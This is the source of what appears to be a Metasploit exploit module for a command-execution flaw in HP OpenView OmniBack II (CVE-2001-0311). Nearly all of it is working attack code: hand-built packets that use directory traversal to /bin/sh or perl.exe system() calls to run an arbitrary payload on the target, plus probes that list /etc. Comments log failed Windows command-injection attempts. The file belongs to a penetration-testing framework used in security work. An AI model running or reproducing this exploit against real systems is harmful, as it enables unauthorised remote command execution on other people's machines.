235 lines
6.3 KiB
Ruby
235 lines
6.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HP OpenView OmniBack II Command Execution',
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'Description' => %q{
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This module uses a vulnerability in the OpenView Omniback II
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service to execute arbitrary commands. This vulnerability was
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discovered by DiGiT and his code was used as the basis for this
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module.
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For Microsoft Windows targets, due to module limitations, use the
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"unix/cmd/generic" payload and set CMD to your command. You can only
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pass a small amount of characters (4) to the command line on Windows.
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},
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'Author' => [ 'hdm', 'patrick' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2001-0311'],
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['OSVDB', '6018'],
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['BID', '11032'],
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['URL', 'http://www.securiteam.com/exploits/6M00O150KG.html'],
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],
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'Platform' => ['unix'], # win
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet',
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}
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},
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'Targets' =>
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[
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[ 'Unix', { }],
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[ 'Windows', { }],
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],
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'DisclosureDate' => 'Feb 28 2001',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(5555)
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], self.class)
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end
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def check
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if (target.name =~ /Unix/)
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connect
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poof =
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"\x00\x00\x00.2"+
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"\x00 a"+
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"\x00 0"+
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"\x00 0"+
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"\x00 0"+
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"\x00 A"+
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"\x00 28"+
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"\x00/../../../bin/sh"+
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"\x00\x00"+
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"digit "+
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"AAAA\n\x00"
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sock.put(poof)
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sock.put("echo /etc/*;\n")
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res = sock.get_once(-1, 5)
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disconnect
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if !(res and res.length > 0)
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vprint_status("The remote service did not reply to our request")
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return Exploit::CheckCode::Safe
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end
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if (res =~ /passwd|group|resolv/)
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vprint_status("The remote service is exploitable")
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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if (target.name =~ /Windows/)
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connect
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poof =
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"\x00\x00\x00.2"+
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"\x00 a"+
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"\x00 0"+
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"\x00 0"+
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"\x00 0"+
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"\x00 A"+
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"\x00 28"+
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"\x00\\perl.exe"+
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"\x00\x20-e\x20system(dir)\x00\x00"+
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"digit "+
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"AAAA\n\x00"
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sock.put(poof)
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res = sock.get_once(-1, 5)
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disconnect
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print_status(res.to_s)
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if !(res and res.length > 0)
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print_status("The remote service did not reply to our request")
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return Exploit::CheckCode::Safe
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end
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if (res =~ /V.o.l.u.m.e/) #Unicode
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print_status("The remote service is exploitable")
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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if (target.name =~ /Unix/)
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connect
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poof =
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"\x00\x00\x00.2"+
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"\x00 a"+
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"\x00 0"+
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"\x00 0"+
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"\x00 0"+
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"\x00 A"+
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"\x00 28"+
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"\x00/../../../bin/sh"+
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"\x00\x00"+
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"digit "+
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"AAAA\n\x00"
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sock.put(poof)
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sock.put(payload.encoded + ";\n")
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res = sock.get_once(-1, 5)
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if !(res and res.length > 0)
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print_status("The remote service did not reply to our request")
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disconnect
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return
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end
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print(res)
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handler
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disconnect
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end
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if (target.name =~ /Windows/)
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# patrickw
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#
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# Tested during pen test against Windows 2003 server.
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# Windows Service details:
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# - Data Protector Inet
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# -> [HP OpenView Storage Data Protector] - Backup client service
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# -> "C:\Program Files\OmniBack\bin\omniinet.exe"
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# -> OmniInet service for Windows NT
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# -> File version: 6.0.0.0
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#
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# This needs to be cleaned up later. Preferably using the Windows/cmd/perl payloads.
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#
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# Notes:
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# I was unable to use directory traversal, OR (||) or AND (&&) techniques to directly run cmd.exe
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# Perhaps a difference in Windows/Unix code? Logs:
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#
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#11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
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#A request 28 (..\foo.exe) came from host [attacker] which is not a cell manager of this client
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#
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#11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
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#[RxNtIntegUtil] parameter refused: ..\foo.exe
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#
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#11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
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#A request 28 (x.exe || cmd /c dir > c:) came from host [attacker] which is not a cell manager of this client
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#
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#11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
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#[RxNtIntegUtil] parameter refused: x.exe || cmd /c dir > c:
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#
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#11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
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#A request 28 (perl.exe && cmd /c dir >) came from [attacker] which is not a cell manager of this client
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#
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#11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
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#[RxNtIntegUtil] parameter refused: perl.exe && cmd /c dir >
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connect
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poof =
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"\x00\x00\x00.2"+
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"\x00 a"+
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"\x00 0"+
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"\x00 0"+
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"\x00 0"+
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"\x00 A"+
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"\x00 28"+
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"\x00\\perl.exe"+
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"\x00\x20-esystem(#{payload.encoded})\x00\x00"+
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"digit "+
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"AAAA\n\x00"
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sock.put(poof)
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#sock.put(payload.encoded + "\n")
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res = sock.get_once(-1, 5)
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if !(res and res.length > 0)
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print_status("The remote service did not reply to our request")
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disconnect
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return
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end
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print(res)
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handler
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disconnect
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end
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end
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end
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